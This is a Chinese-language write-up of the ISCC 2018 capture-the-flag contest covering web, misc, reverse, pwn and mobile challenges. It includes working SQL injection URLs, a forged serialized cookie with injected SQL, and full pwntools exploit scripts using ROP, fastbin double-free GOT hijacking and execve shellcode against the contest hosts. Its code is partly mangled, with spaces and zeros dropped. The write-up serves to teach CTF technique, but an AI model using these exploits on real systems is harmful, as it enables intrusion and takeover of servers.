前言
ISCC 2018 CTF中,一些题目还是很不错的。但是需要吐槽的就是这个积分机制,私以为一次性放出所有题目而且反作弊机制完善的情况下动态积分这个方法很好。但是,战线太长还是不要用动态积分。不过话说回来,战线长也是ISCC的传统吧。最后祝ISCC越办越好!也希望我们的Writeup能对大家有所帮助吧!
赛事的运维人员还是很nice的
WEB
比较数字大小前端进行了限制,抓包改数字
Web01
因为在php中strcmp函数在进行数据操作时,如果如果failure时,返回NULL,此时由于php的弱类型NULL== 0 返回true所以我们转入数组,当数组与字符串对比时导致failure,返回NULLhttp://118.190.152.202:8003/?password[]=1
为什么这么简单
进入,并且只有我公司的IP地址才可以进入第二关,公司IP为:110.110.110.110”所以在请求题页面时,添加Referer:最后得到另外一个页面:
访问http://118.190.152.202:8016/number2.php?token=260ca9dd8a4577fc00b7bd5810298076链接后,会发现加载了一个password.js文件:http://118.190.152.202:8016/password.js然后在此js文件中发现“ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4”然后base64解密得到:
Password:xinyiji.com
本地的诱惑
X-Forwarded-For: 127.0.0.1
你能跨过去吗?
你能绕过吗?
php伪协议读取文件,用大小写绕过限制
一切都是套路
web02
客户端ip地址伪造
请ping我的ip 看你能Ping通吗?
命令注入
Please give me username and password!
http://php.net/manual/en/function.is-numeric.php
Php是世界上最好的语言
通过给出的源码知道通过弱类型md5后的结果为0xexxx,再给0对比时进行类型转换,所以将password=240610708,username任意值时,返回另外一个页面:http://118.190.152.202:8005/no_md5.php?a=hello
很明显,双$,导致变量覆盖,我们覆盖flag这个变量即可http://118.190.152.202:8005/no_md5.php?a=flag
SQL注入的艺术
宽字节注入http://118.190.152.202:8015/index.php?id=1%bf%5c%27%20and%201=2%20union%20select%201,(select%20flag%20from%20admins),3,4,5,6,7,8%23试试看
error_reporting();
ini_set('display_errors','Off');
include('config.php');
$img=$_GET['img'];
if(isset($img)&&!empty($img))
{
if(strpos($img,'jpg')!==false)
{
if(strpos($img,'resource=')!==false&&preg_match('/resource=.*jpg/i',$img)===)
{
die('File not found.');
}
preg_match('/^php:\/\/filter.*resource=([^|]*)/i',trim($img),$matches);
if(isset($matches[1]))
{
$img=$matches[1];
}
header('Content-Type: image/jpeg');
$data=get_contents($img);
echo$data;
}
else
{
die('File not found.');
}
}
else
{
?>
}
?>
Sqli
首先在登录用户名这里存在注入,是延时盲注,通过sqlmap可以跑出来内容
最后又两个用户:test/testadmin/ u4g009然后使用admin登录后,id参数又存在回显注入,最后另外一个表news中还有一个很长的column:kjafuibafuohnuvwnruniguankacbhhttp://118.190.152.202:8011/?id=1%20and%201=2%20Union%20select%201,2,3,COLUMN_NAME,5,6%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27news%27%23最后查出此字段的内容为:http://118.190.152.202:8011/?id=1%20and%201=2%20Union%20select%201,2,3,kjafuibafuohnuvwnruniguankacbh,5,6%20from%20news%23flag
Collide
通过给出的源代码可以知道这里考点是hash扩展攻击。Hash长度扩展攻击可以让攻击者无须知道salt的值,只需知道一组明文和此明文对应的密文及密文长度,既可以构造出在原有明文基础上添加任意信息的新密文。这里我们知道guest的密文,已经秘钥的长度,需要我们给出的明文中包含admin,而且密文就是guest的密文,这里是很简单的hash扩展攻击,我们使用hashpump工具。
最后提交
有种你来绕
随便输入root,root后登陆提示username error
用burp跑一下用户名 ,得到用户名是admin
然后burp跑一下得到密码是nishishabi1438 ,进去后输入flag得到
Only admin can see flag
通过给出的提示,访问index.txt得到源码:http://118.190.152.202:8001/index.txt源码中可知,在登录过程中给出了密文cipher和初始化向量iv,那么很容易想到这里考的是paddingOracle attack和CBC翻转攻击题目判断不让使用admin登录,但是有需要判断是admin才能回去flag,那么我们就需要伪造一个密文来让他解密后得到admin明文我们现在已知的明文分组为:
a:2:
s:2:然后我们需要将zdmin变为admin,所以我们只需要反正第一块密文即可,因为CBC反正中,第一块密文作为第二块密文解密的iv,所以修改第一块密文即可已得到第二块明文解密后得到admin了
得到正确解密后,但是无法反序列化的明文
因为我们已经损坏了第一块密文,所以我们需要同构造iv修复第一块密文,让其解密之后的明文为a:2:*/
classMessage{
var$msg="";
var$from="";
var$to="";
var$id=-1;
function__construct($from,$to,$msg,$id=-1) {
global$mysqli;
$this->from=$from;
$this->to=$to;
$this->msg=$msg;
$this->id=$id;
}
function__toString(){
return$this->msg;
}
}
$a=newMessage('xfkxfk','xfkxfk',"xfkxfk@formsec.com' and 1=2 union select * from users where `username`='admin'#");
$b=serialize(array('email'=>$a,'password'=>'xfkxfk'));
$ckSavePass=$b;
echobase64_encode($ckSavePass);
?>
此时添加cookie访问即可:
ckSavePass=YToyOntzOjU6ImVtYWlsIjtPOjc6Ik1lc3NhZ2UiOjQ6e3M6MzoibXNnIjtzOjc5OiJ4Zmt4ZmtAZm9ybXNlYy5jb20nIGFuZCAxPTIgdW5pb24gc2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBgdXNlcm5hbWVgPSdhZG1pbicjIjtzOjQ6ImZyb20iO3M6NjoieGZreGZrIjtzOjI6InRvIjtzOjY6Inhma3hmayI7czoyOiJpZCI7aTotMTt9czo4OiJwYXNzd29yZCI7czo2OiJ4Zmt4ZmsiO30=
此时返回302跳转到index.php了,并且放回登录成功的phpsessid最后加上这个phpsessid即可得到flag:
MISC
What is that?修改图片像素即可看到flag
Flag={Welcome_To_ISCC_2018}数字密文数字一看就是ascii的hex,用binascii转换一下即可
Python2.7.3(default,May132013,20:4:56)
[GCC4.4.5]onlinux2
Type"help","copyright","credits"or"license"formoreinformation.
>>>importbinascii
>>>binascii.a2b_hex("69742773206561737921")
"it's easy!"
>>>秘密电报秘密电报:知识就是力量 ABAAAABABBABAAAABABAAABAAABAAABAABAAAABAAAABA培根解密
重重谍影
进行多次urldecode和base64decode后进行aes空秘钥解密再进行
http://www.keyfc.net/bbs/tools/tudoucode.aspx有趣的ISCC下载图片用文本编辑器打开,文件最后有一段html实体编码内容,解码后再通过unicode解码得到flag
Where is the FLAG
文本编辑器打开图片发现图片使用Adobe Fireworks CS5处理过
用Adobe FireworksCS5打开发现5个图层,删除第一个logo的图层,其余每个图层中有两个二维码部分区域,将画图区域调大,重新拼接图片得到最终的二维码,二维码识别后得到flag
凯撒十三世
凯撒十三世在学会使用键盘后,向你扔了一串字符:“ebdgc697g95w3”,猜猜它吧。ebdgc697g95w3经过rot13得到roqtp697t95j3,键盘上对应的按键下移一行得到flagflag:yougotme一只猫的心思附件是一个图片文件,用010editor打开发现底部有charunknownPadding[10752]未知格式数据
发现其中出现wps字样,我们将这部分保存为doc文件并打开
打开后是一段密文,用与佛论禅解密
再经过多次base解码就可以得到flag
暴力XX不可取
压缩包伪加密
07改为00Vfppjrnerpbzvatrot13解密isccwearecoming嵌套ZIPs没啥脑洞,首先利用azpr爆破一波3.zip密码。
然后解出来两个文件,然后利用已知明文攻击,使用azpr爆破一波zip文件。
然后解出来的还是加密的压缩包,不过这次就是伪加密了,直接二进制修改。得到最后的flag
reverse
RSA256256位的RSA解密
>>>fromCrypto.PublicKeyimportRSA
>>>pub=RSA.importKey(open('public.key').read())
>>>n=long(pub.n)
>>>e=long(pub.e)
>>>printn
98432079271513130981267919056149161631892822707167177858831841699521774310891然后,根据p、q和e求d求出后根据n、e和d得到私钥
>>>fromCrypto.PublicKeyimportRSA
>>>pub=RSA.importKey(open('public.key').read())
>>>n=long(pub.n)
>>>e=long(pub.e)
>>>printe
65537
>>>d=1958518567680136759381316911808879057130620824462099039954817237801766103617
>>>key=RSA.construct((n,e,d))
>>>open("private.key","w").write(key.exportKey())
>>>
最后利用私钥解密文件。
>>>importrsa
>>>p=open("private.key").read()
>>>privkey=rsa.PrivateKey.load_pkcs1(p)
>>>crypto=open("encrypted.message1").read()
>>>message=rsa.decrypt(crypto,privkey)
>>>printmessage
flag{3b6d3806-4b2b
>>>crypto=open("encrypted.message2").read()
>>>printrsa.decrypt(crypto,privkey)
-11e7-95a0-
>>>crypto=open("encrypted.message3").read()
>>>printrsa.decrypt(crypto,privkey)
00c29d7e93d}
>>>flagMy math is bad直接使用IDA载入这个题目,看到如下内容:
if(s[1]*(signed__int64)s[]-s[3]*(signed__int64)s[2]==0x24CDF2E7C953DA56LL
&&3LL*s[2]+4LL*s[3]-s[1]-2LL*s[]==0x17B85F06
&&3*s[]*(signed__int64)s[3]-s[2]*(signed__int64)s[1]==0x2E6E497E6415CF3ELL
&&27LL*s[1]+s[]-11LL*s[3]-s[2]==0x95AE13337LL)根据这个转化为方程
b * a - d * c = 0x24CDF2E7C953DA56
3 * c + 4 * d - b - 2 * a = 0x17B85F06
3 * a * d - c * b = 0x2E6E497E6415CF3E
27 * b + a - 11 * d - c = 0x95AE13337写出matlab代码
[a,b,c,d]=solve('b * a - d * c = 2652042832920173142','3 * c + 4 * d - b - 2 * a = 397958918','3 * a * d - c * b = 3345692380376715070','27 * b + a - 11 * d - c = 40179413815')使用在线matlab解出答案。
>>> binascii.a2b_hex('6f706d61')
'opma'
>>> binascii.a2b_hex('6b5a325a')
'kZ2Z'
>>> hex(829124174)
'0x316b6e4e'
>>> binascii.a2b_hex('316b6e4e')
'1knN'
>>> hex(862734414)
'0x336c484e'
>>> binascii.a2b_hex('336c484e')
'3lHN'
>>>这样就得到了srand的种子,之后的rand的结果也确定了。得到了第二个方程组
v6*39+v3*22-v4-v5=0xE638C96D3
v6+v3+v5*45-v4*45=0xB59F2D0CB
v3*35+v4*41-v5-v6=0xDCFE88C6D
v5*36+v3-v4-v6*13=0xC076D98BB使用matlab解出答案即可。
=======================================
= Welcome to the flag access machine! =
= Input the password to login ... =
=======================================
ampoZ2ZkNnk1NHl3NTc0NTc1Z3NoaGFG
Congratulations! You should get the flag...
flagobfuscation and encode使用IDA载入题目,看到如下内容,将输入的flag编码两次,然后和对比。所以现在需要观察两次的编码方式是什么。的编码方式很简单,看到三块重要的代码
idx=v13++;
*(_BYTE*)(a2+idx)=(char)v10%127;
v10+=*(&a1[4*row]+col)**(&m[4*v11]+col);明显,flag的大小是24字节。第一编码是矩阵运算,第二次编码是base64(字母表被替换)。
# -*- encoding:utf-8 -*-
fromnumpyimport*
importnumpyasnp
importbase64
importstring
importchardet
importctypes
#base64_charset = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/'
base64_charset='FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+'
letters=list(base64_charset)
defmy_base64_encodestring(input_str):
# 对每一个字节取ascii数值或unicode数值,然后转换为2进制
str_ascii_list= ['{:0>8}'.format(str(bin(ord(i))).replace('0b',''))
foriininput_str]
output_str=''
# 不够3的整数倍 补齐所需要的次数
equal_num=
whilestr_ascii_list:
temp_list=str_ascii_list[:3]
iflen(temp_list)!=3:
whilelen(temp_list)
equal_num+=1
temp_list+= ['0'*8]
temp_str=''.join(temp_list)
# 三个8字节的二进制 转换为4个6字节的二进制
temp_str_list= [temp_str[x:x+6]forxin[,6,12,18]]
# 二进制转为10进制
temp_str_list= [int(x,2)forxintemp_str_list]
# 判断是否为补齐的字符 做相应的处理
ifequal_num:
temp_str_list=temp_str_list[:4-equal_num]
output_str+=''.join([letters[x]forxintemp_str_list])
str_ascii_list=str_ascii_list[3:]
output_str=output_str+'='*equal_num
#print(output_str)
returnoutput_str
defmy_base64_decodestring(input_str):
# 对每一个字节取索引,然后转换为2进制
str_ascii_list= ['{:0>6}'.format(str(bin(letters.index(i))).replace('0b',''))
foriininput_strifi!='=']
output_str=''
equal_num=input_str.count('=')
whilestr_ascii_list:
temp_list=str_ascii_list[:4]
temp_str=''.join(temp_list)
# 补够8位
iflen(temp_str)%8!=:
temp_str=temp_str[:-1*equal_num*2]
# 4个6字节的二进制 转换 为三个8字节的二进制
temp_str_list= [temp_str[x:x+8]forxin[,8,16]]
# 二进制转为10进制
temp_str_list= [int(x,2)forxintemp_str_listifx]
output_str+=''.join([chr(x)forxintemp_str_list])
str_ascii_list=str_ascii_list[4:]
#print(output_str)
returnoutput_str
defcalc_flag_base64(flag):
x= [
[0x61,0x61,0x61,0x61,0x61,0x61],
[0x61,0x61,0x61,0x61,0x61,0x61],
[0x61,0x61,0x61,0x61,0x61,0x61],
[0x61,0x61,0x61,0x61,0x61,0x61]
]
forrowinrange(,4):
forcolinrange(,6):
x[row][col] =ord(flag[row*4+col])
m= [
[2,2,4,-5],
[1,1,3,-3],
[-1,-2,-3,4],
[-1,,-2,2]
]
res=""
foriinrange(,6):
forjinrange(,4):
cnt=
forkinrange(,4):
cnt+=ord(flag[i*4+k])*m[j][k]
res+=chr(cnt%256)
returnmy_base64_encodestring(res)
x= [
[0x61,0x61,0x61,0x61,0x61,0x61],
[0x61,0x61,0x61,0x61,0x61,0x61],
[0x61,0x61,0x61,0x61,0x61,0x61],
[0x61,0x61,0x61,0x61,0x61,0x61]
]
rf=my_base64_decodestring("lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq")
forrowinrange(,4):
forcolinrange(,6):
x[row][col] =ctypes.c_int8(ord(rf[col*4+row])).value
m= [
[2,2,4,-5],
[1,1,3,-3],
[-1,-2,-3,4],
[-1,,-2,2]
]
# m的逆矩阵
m1= [
[2,,2,1],
[1,1,1,2],
[,2,1,1],
[1,2,2,2]
]
printmat(m1)*mat(x)最后求出flag形成的矩阵为
f还原成flag其实还有一种方法,就是爆破。因为是base64,所以每3字节源数据会生成4字节数据。但是本题中第一次编码是4字节运算的,所以完全可以4字节爆破。btw 土豪的选择leftleftrightright这个题目载入ida一看,upx加壳的。再使用upx脱壳后,程序方无法运行了,不过里面的函数还是可以看的。那就带壳调试。经过我们的分析,发现程序的流程是这样的。先输入一串字符串,然后堆字符串进行变换,利用函数来对比,如果结果相同则答案正确。最后的对比字符串为。此时就需要知道,什么样的字符串变换后能得到这个字符串。我们先在这里打上断点。
输入特征字符串。程序段下来后,特征字符串被变化成了这样
然后,根据规律就可以推出真正的Flag
pwn
Login程序流程很简单,先登录,再完成一些功能。menu函数里有个很明显的栈溢出漏洞。
user@ubuntu ~/pwn/iscc2018/pwn1 checksec pwn50
[*]'/home/user/pwn/iscc2018/pwn1/pwn50'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
只开了NX,很简答了。程序中提供了地址,所以只需要的地址。我们观察到函数会把内容写在全局变量中。所以的地址也有了。最终exp如下。
frompwnimport*
r=process("./pwn50")
r=remote("47.104.16.75",9000)
elf=ELF("./pwn50")
context.log_level="DEBUG"
offset=87
pop_rdi_ret=0x00400b03#: pop rdi ; ret ; (1 found)
pop_rsi_r15_ret=0x00400b01#: pop rsi ; pop r15 ; ret ; (1 found)
r.recvuntil("username: ")
r.sendline("admin")
r.recvuntil("password: ")
r.sendline("T6OBSh2i")
r.recvuntil("Your choice: ")
r.send("1")
r.recvuntil("Command: ")
r.sendline("/bin/sh\x00")
r.recvuntil("Your choice: ")
payload="3"+offset*"a"
payload+=p64(pop_rdi_ret)
payload+=p64(0x0000000000601100)
payload+=p64(elf.plt["system"])
r.sendline(payload)
r.interactive()Write some paper简单分析了一下题目,没有溢出。只有一个free后指针悬挂的问题。想到。思路就是:申请两块内存,1和2。释放1,释放2,释放1。然后分配1即可控制fastbin 1的FD。将FD指向PLG.GOT,把内存分配到GOT上,就可以利用函数的地址覆盖某个函数的GOT表内容完成GOT Hijack。这个题目的难点就在于如何构造fastbin的大小和FD的位置。如果分配到GOT表前,则会破坏PLT0导致程序崩溃。经过分析这个地址刚好满足我们的条件。最终exp如下:
frompwnimport*
paper=0x6020c0
r=process("./pwn3")
r=remote("47.104.16.75",8999)
elf=ELF("./pwn3")
context.log_level="DEBUG"
defadd_paper(num,idx,content):
r.recvuntil("2 delete paper")
r.sendline("1")
r.recvuntil("to store(0-9):")
r.sendline(str(idx))
r.recvuntil("How long you will enter:")
r.sendline(str(num))
r.recvuntil("please enter your content:")
r.sendline(content)
defdel_paper(idx):
r.recvuntil("2 delete paper")
r.sendline("2")
r.recvuntil("it's index(0-9):")
r.sendline(str(idx))
add_paper(0x30,1,"1")
add_paper(0x30,2,"1")
del_paper(1)
del_paper(2)
del_paper(1)
add_paper(0x30,1,p64(0x60202a))
add_paper(0x30,1,"aaaaaaaaaaa")
add_paper(0x30,1,"aaaaaaaaaaa")
#gdb.attach(r, "b add_paper\nc")
add_paper(0x30,1,"\x40\x00\x00\x00\x00\x00"+p64(elf.symbols["gg"]))
r.sendline("a")
r.interactive()
Happy Hotel
用ida载入程序,看了下,流程很简单。漏洞点一眼就能看出来
这个地方,有个栈溢出。我们写的内容会覆盖掉堆的指针,可以造成任意地址写。不过这有个限制,就是strcpy会被截断。接着查看程序的保护措施。
没开啥保护措施,所以我们可以将写入再控制程序执行。但是这就需要用到两次任意地址写,也就意味着必须将有漏洞的函数调用两次。所以,我们把有漏洞的函数的地址覆盖到free上即可,这样就可以多次调用任意地址写。首先写入到,再用的地址覆盖free的got表,即可。写shellcode到bbs需要将shellcode的首地址向后偏移至少8个字节,因为我们再bss上有全局变量,会覆盖掉bss的前8个字节。
frompwnimport*
elf=ELF("./pwn200")
#r = process("./pwn200")
r=remote("47.104.16.75",8997)
context.log_level="DEBUG"
r.recvuntil("who are u?")
r.sendline("admin")
r.recvuntil("give me your id ~~?")
r.sendline("404")
r.recvuntil("give me money~")
payload=p64(0x400a29)+"\x00"*(0x40-16)+p64(elf.got["free"])
r.send(payload)
r.recvuntil("choice :")
r.sendline("2")
r.recvuntil("give me money~")
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload=shellcode.ljust(0x40-8,"\x00")+p64(0x602098+8)
r.send(payload)
#r.interactive()
r.recvuntil("choice :")
r.sendline("2")
r.recvuntil("give me money~")
payload=p64(0x602098+8)+"\x00"*(0x40-16)+p64(elf.got["free"])
r.send(payload)
r.sendline("2")
r.interactive()
mobile
小试牛刀首先下载Android Studio,配置好AVD()。注意,下载的Android的操作系统版本尽量不要选高版本的。因为后面的API都变了。启动安卓虚拟机,安卓这个apk然后把IDA的android server传上去然后切换root赋执行权限,并启动
接着转发tcp 端口由得到程序的名字和启动的类
然后再中启动
如果在AVD中弹出这样的窗口就说明成功了
接着在IDA中选择远程Attach
然后再Debug Options里勾上这三项
选择我们要调试的app
然后在Modules中找到libdvm.so
然后双击进去找到函数并下断点,关于为什么要在这里下断点,可以看这篇文章:https://www.cnblogs.com/jiaoxiake/p/6813127.html
接着使用DDMS来看远程调试端口
使用jdb来调试
然后在IDA中点击运行,接着会收到一些进程新号SIGHLD,点击pass to app即可。然后,在IDA中,进程会在我们下断的地方停下。然后在中编写如下IDC脚本,点击运行,即可将内存中的文件还原出来。
autofp,dex_addr,end_addr;
fp=fopen("D:\\iscc_dump.dex","wb");
end_addr=r0+r1;
for(dex_addr=r0;dex_addr
fputc(Byte(dex_addr),fp);随后使用转化为jar包,用JDGUI即可打开分析flag。
点进去一看就找到真正的flag了
领取专属 10元无门槛券
私享最新 技术干货